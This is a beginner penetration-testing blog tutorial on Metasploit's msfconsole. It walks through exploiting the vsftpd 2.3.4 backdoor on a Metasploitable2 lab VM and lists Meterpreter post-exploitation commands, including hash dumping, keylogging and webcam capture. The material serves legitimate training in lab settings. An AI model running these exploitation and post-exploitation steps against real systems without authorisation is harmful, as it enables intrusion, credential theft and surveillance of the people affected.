By using this site, you agree to the Privacy Policy and Terms of Use.
Accept

AceFortis

Cybersecurity Research

  • Home
  • Training
  • Compliance
  • Awareness
  • Research
    • Penetration Testing
    • CVE & Vulnerabilities
    • Hacking Tutorials
    • Tools & Reviews
    • Certifications
    • CTF
  • About
  • Contact
Search

Categories

  • Cybersecurity
  • Penetration Testing
  • Frameworks & Theory
  • CVE & Vulnerabilities
  • Hacking Tutorials
  • Tools & Reviews
  • CTF
  • Certifications
  • About AceFortis
  • Privacy Policy
  • Cybersecurity Training
  • Terms of Use

Tools & Platforms

  • TryHackMe vs HackTheBox: A Beginner’s Comparison
  • Burp Suite vs OWASP ZAP: Complete Pentesting Comparison
  • Kali vs Parrot OS: Best Pentesting Distro 2026 Comparison
  • Metasploit vs Cobalt Strike: Features, Pricing, Evasion
  • Nmap Network Scanning Tutorial for Beginners (2026)
  • Cookie Policy (EU)
  • About
  • Contact
  • Privacy Policy
  • Sitemap
  • Terms of Use
© 2026 AceFortis. All Rights Reserved.
Reading: Metasploit msfconsole: Your First Exploit in 5 Minutes
Share
Notification Show More
Font ResizerAa

AceFortis

Cybersecurity Research

Font ResizerAa
Search
Follow US
  • About
  • Contact
  • Privacy Policy
  • Sitemap
  • Terms of Use
© 2026 AceFortis. All Rights Reserved.
Hacking Tutorials

Metasploit msfconsole: Your First Exploit in 5 Minutes

Akash Kumar
Last updated: October 13, 2026 11:19 pm
Akash Kumar
Share
SHARE

Metasploit msfconsole: Your Complete Guide to Running Exploits

Hey friend, grab your coffee and let’s talk about Metasploit – that penetration testing framework that looks intimidating but is actually your gateway to understanding how real exploitation works.

Contents
What Metasploit Actually DoesUnderstanding Metasploit’s Module SystemExploit Modules – The Entry PointAuxiliary Modules – The Scout TeamPayload Modules – What Runs After the Break-InPost Modules – After the Foot’s in the DoorYour First Exploit: A Practical WalkthroughStep 1: Launch msfconsoleStep 2: Search for Appropriate ExploitsStep 3: Load and Configure the ExploitStep 4: Execute and Get Your ShellWhy Meterpreter Changes EverythingCommon Beginner Mistakes to AvoidEssential msfconsole Commands ReferenceSafe Practice EnvironmentsBottom Line: Framework, Not Magic

You’ve probably heard about Metasploit in cybersecurity circles. Maybe you’ve seen someone use it in a CTF or a tutorial. But here’s the thing: most people fire off exploits without understanding what’s happening under the hood. Today, we’re changing that.

What Metasploit Actually Does

Metasploit isn’t magic. It’s a framework – think of it like a well-organized toolbox where each tool serves a specific purpose in the exploitation chain. Instead of writing exploits from scratch (which takes serious skill), you’re using pre-built, tested exploits that the community has refined over years.

The heart of Metasploit is msfconsole – the command-line interface that gives you complete control over every aspect of your penetration testing workflow. Unlike GUI tools that hide what’s happening, msfconsole shows you everything, making it perfect for learning.

Understanding Metasploit’s Module System

Before you run your first exploit, you need to understand the four types of modules. Think of these as the building blocks that work together:

Exploit Modules – The Entry Point

Exploit modules are what actually break into systems by exploiting specific vulnerabilities. Each exploit targets a particular flaw – maybe a buffer overflow, a misconfigured service, or an authentication bypass. For example:

  • exploit/windows/smb/ms17_010_eternalblue – The famous EternalBlue exploit targeting SMBv1
  • exploit/multi/http/tomcat_mgr_deploy – Exploits misconfigured Tomcat Manager
  • exploit/unix/ftp/vsftpd_234_backdoor – The backdoored VSFTPD version

The “Rank” column in search results tells you reliability: “excellent” means it works consistently, while “manual” means you’ll need to tweak settings.

Auxiliary Modules – The Scout Team

Auxiliary modules don’t exploit anything directly. Instead, they handle information gathering, scanning, and enumeration. They’re your reconnaissance tools:

  • auxiliary/scanner/portscan/tcp – Simple TCP port scanner
  • auxiliary/scanner/ssh/ssh_login – SSH credential testing
  • auxiliary/scanner/http/dir_scanner – Web directory brute-forcing

You’ll often run auxiliary modules first to gather intel, then use that information to pick the right exploit.

Payload Modules – What Runs After the Break-In

Here’s where beginners often get confused. An exploit gets you in, but a payload defines what happens next. The payload is the actual code that executes on the target after exploitation succeeds:

  • Reverse shells: payload/windows/meterpreter/reverse_tcp – Target connects back to you
  • Bind shells: payload/linux/x64/shell_bind_tcp – Target opens a port you connect to
  • Single commands: payload/cmd/unix/reverse_bash – Executes a single command

Reverse shells are more common because they bypass firewall restrictions – the target connects outbound to your machine, which most firewalls allow.

Post Modules – After the Foot’s in the Door

Once you have access, post-exploitation modules help you gather more intel, escalate privileges, or pivot to other machines. Examples include dumping password hashes, scraping browser data, or installing persistence mechanisms.

Your First Exploit: A Practical Walkthrough

Let’s walk through an actual Metasploit session. Imagine you’re testing Metasploitable2 – an intentionally vulnerable VM perfect for learning.

Step 1: Launch msfconsole

msfconsole

You’ll see a colorful banner and the prompt changes to msf6 >. Type help to see available commands – don’t worry, you’ll only use about 10 of them regularly.

Step 2: Search for Appropriate Exploits

After port scanning your target, you find VSFTPD version 2.3.4 running. Search for related exploits:

search vsftpd

The results show exploit/unix/ftp/vsftpd_234_backdoor with “excellent” rank – that’s your target.

Step 3: Load and Configure the Exploit

use exploit/unix/ftp/vsftpd_234_backdoor
show options

You’ll see required options. Set your target:

set RHOSTS 192.168.1.100
set RPORT 21

Check the payload with show payloads – this exploit uses a default payload, but you can change it.

Step 4: Execute and Get Your Shell

exploit

If successful, you’ll get a shell session. Metasploit tells you the session ID – remember it. To interact:

sessions -i 1

Now you’re inside. Run whoami, pwd, ls -la to explore.

Why Meterpreter Changes Everything

Regular shells are limited. Meterpreter (Meta-Interpreter) is Metasploit’s advanced payload that lives entirely in memory – no files dropped to disk. It’s stealthier and more powerful:

sysinfo              # Target system info
getuid               # Current user
hashdump             # Dump password hashes (requires system)
screenshot           # Grab desktop screenshot
webcam_snap          # Capture webcam
keyscan_start        # Start keylogger
keyscan_dump         # Retrieve keystrokes
upload / download    # File transfer
ps                   # List processes
migrate [pid]        # Jump to another process

Meterpreter also supports Rails-like routing for pivoting through compromised machines to reach internal networks – a crucial technique for real penetration tests.

Common Beginner Mistakes to Avoid

Everyone makes these mistakes when starting:

Forgetting LHOST: For reverse shells, you must set LHOST to YOUR IP address. Without it, the target can’t connect back, and you’ll wonder why exploits “fail.”

Payload Architecture Mismatch: A 32-bit payload on a 64-bit system often crashes the service instead of giving you a shell. Always match architecture.

Ignoring Target Context: An exploit that works on Windows XP won’t work on Windows 10. Metasploit’s “show targets” command lets you specify the exact target version.

Not Handling Sessions: Exploits create sessions. If you don’t interact with them (sessions -i id), you’re missing out on your access. List them with sessions -l.

Essential msfconsole Commands Reference

These commands handle 90% of your workflow:

search [term]           # Find relevant modules
use [module]            # Select a module
show options            # View configuration
show payloads           # Available payloads
set [option] [value]    # Configure settings
setg [option] [value]   # Set globally (persists)
exploit / run           # Execute the module
exploit -j              # Background execution
jobs                    # List background tasks
sessions -l             # List active sessions
sessions -i [id]        # Interact with session
sessions -k [id]        # Kill session
back                    # Exit current module
exit                    # Quit Metasploit

Safe Practice Environments

Never practice Metasploit on targets you don’t own. That’s illegal. Instead, use:

  • Metasploitable2/3: Free, intentionally vulnerable Linux VMs designed for learning
  • HackTheBox: “Easy” and “Medium” boxes often have Metasploit paths
  • TryHackMe: Guided rooms specifically teaching Metasploit workflows
  • Your own home lab: VirtualBox + old Windows/Linux ISOs

Bottom Line: Framework, Not Magic

Metasploit makes exploitation accessible, but understanding why exploits work matters more than running scripts. The framework handles the mechanics; your job is reconnaissance, target selection, and post-exploitation strategy.

Start simple – Metasploitable2 and VSFTPD backdoor is a classic first exploit. Then gradually work up to more complex scenarios involving payload selection, AV evasion, and multi-stage attacks.

Now finish that coffee. You’ve got targets to practice on – legally, of course.

You Might Also Like

Hydra Brute Force: Quick Login Testing Guide
Reverse Shell Cheat Sheet: From Basic to Advanced Techniques
Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)
Nmap Cheat Sheet: 15 Commands Every Beginner Must Know
Burp Suite: First 5 Things Every Beginner Should Do

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
[mc4wp_form]
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Share This Article
Facebook Copy Link Print
Share
ByAkash Kumar
Follow:
Akash Kumar, founder of AceFortis. Penetration tester and cybersecurity trainer based in Milan, and cybersecurity instructor at DEMOS Fondazione ITS. Expertise: penetration testing, red teaming and Active Directory security. I offer security awareness training, phishing simulations and courses on NIS2, DORA and ISO 27001 for companies and institutions, in English and Italian. Certifications: CPENT, CRTA, eJPT, PT1.
Previous Article Hydra Brute Force: Quick Login Testing Guide
Next Article Password Cracking with John the Ripper: Quick Guide
Leave a Comment

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Latest News

EU AI Act: What Businesses Must Do Now (2026 Update)
Compliance
Password Policy in 2026: What NIST SP 800-63B Recommends
Compliance
How to Run a Cyber Tabletop Exercise: Ransomware Scenario
Security Awareness & Training
30-Day Security Awareness Training Plan
Security Awareness & Training

You Might also Like

Gobuster Quick Reference: Directory Enumeration Made Easy

Akash Kumar
Akash Kumar
1 Min Read
Hacking Tutorials

What is Active Directory? Complete Beginner’s Guide 2026

Akash Kumar
Akash Kumar
27 Min Read
Hacking Tutorials

Hacking Techniques Explained: 3 Core Methods for Beginners

Akash Kumar
Akash Kumar
25 Min Read
//

Sharing knowledge that keeps the digital world a little safer.

Sign Up for Our Newsletter

Subscribe to our newsletter to get our newest articles instantly!

[mc4wp_form id=”1616″]

AceFortisAceFortis
Follow US
© 2026 AceFortis. All Rights Reserved.
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
  • Manage options
  • Manage services
  • Manage {vendor_count} vendors
  • Read more about these purposes
View preferences
  • {title}
  • {title}
  • {title}
Welcome Back!

Sign in to your account

Username or Email Address
Password

Lost your password?